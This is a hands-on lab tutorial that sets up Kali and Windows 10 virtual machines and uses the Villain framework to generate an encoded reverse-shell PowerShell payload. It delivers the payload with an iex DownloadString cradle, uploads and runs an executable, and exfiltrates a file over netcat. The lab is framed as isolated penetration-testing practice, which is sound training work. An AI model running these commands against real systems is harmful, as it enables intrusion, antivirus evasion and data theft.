A step-by-step lab using Kali Linux (attacker) and Windows 10 (victim) in VirtualBox, from payload gen to file transfers.
-
Create VMs in VirtualBox:
- Kali Linux
- Windows 10
-
Set both adapters to an Internal Network (or Host-Only) named
LabNet. -
Assign static IPs on the same
/24subnet:-
Kali (terminal):
sudo ip addr add 192.168.56.10/24 dev eth0 sudo ip link set eth0 up -
Windows 10 (Control Panel → Network Adapter → IPv4 settings):
IP address: 192.168.56.20 Subnet mask: 255.255.255.0 Gateway/DNS: (leave blank)
-
-
Verify connectivity:
# On Kali ping 192.168.56.20You should see replies.
-
Update & upgrade:
sudo apt update && sudo apt upgrade -y -
Clone Villain:
git clone https://github.com/keralahacker/Villain.git cd VillainIf GitHub is blocked (e.g. college Wi‑Fi), use a VPN or your phone’s hotspot.
-
Install Python deps:
pip install -r requirements.txt
sudo pip install -r requirements.txt --break-system-packages
If it fails, skip to next step.
-
Start Villain:
python3 Villain.py
You’ll see the
villain>prompt.
villain> generate payload=<OS/handler/template> lhost=<YOUR_IP_or_interface> [encode|obfuscate]
| Element | Meaning | Example |
|---|---|---|
OS |
Target OS family | windows |
handler |
Connection type | reverse_tcp (stable) |
template |
Payload script | powershell |
lhost |
Your Kali IP or interface | 192.168.56.10 or eth0 |
[encode] |
Simple Base64-style encoding | optional (helps evade AV) |
[obfuscate] |
String-twisting for stealth | optional |
Example:
villain> generate payload=windows/reverse_tcp/powershell lhost=192.168.56.10 encodeThis writes payload.ps1 for the Windows VM.
-
On Kali, serve it over HTTP:
cp Core/payloads/windows/reverse_tcp/powershell.ps1 ~/payload.ps1 cd ~ python3 -m http.server 8000
-
On Windows 10 (PowerShell as Admin):
iex (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8000/payload.ps1')
This runs the reverse shell back to Kali.
-
List sessions:
villain> sessions -
Enter the shell:
villain> shell <SESSION_ID>
You get a
PS C:\>prompt. Useexitor Ctrl+C to return.
villain> upload <local_path_on_kali> <remote_path_on_windows>
-
Example:
villain> upload /home/kali/tools/malware.exe C:\Users\Public\malware.exe
-
Then inside your shell:
PS C:\> & 'C:\Users\Public\malware.exe'
Villain has no built-in “download,” but you can exfiltrate:
-
On Kali, listen:
nc -lvp 9001 > secret.txt -
In Windows shell:
PS C:\> nc 192.168.56.10 9001 < C:\Users\Public\secret.txt
Alternatively, spin up an HTTP server on Windows:
PS C:\Users\Public> python3 -m http.server 8000Then on Kali:
wget http://192.168.56.20:8000/secret.txt -O secret.txt-
flee: Exit without killing sessions:
villain> flee -
purge: Wipe saved implant metadata:
villain> purge
Pro Tips:
- Verify your lhost and subnet before generating.
- Use
backdoorsto list re-usable payloads. - Keep Kali’s firewall off on the lab network.
You can send a chat message to all connected sibling servers by prefixing with #:
villain> # Hey team, switch to backup C2 channelThat’s the full lab: network setup, payload gen, shell, file IO, and messaging. Enjoy your ethical testing!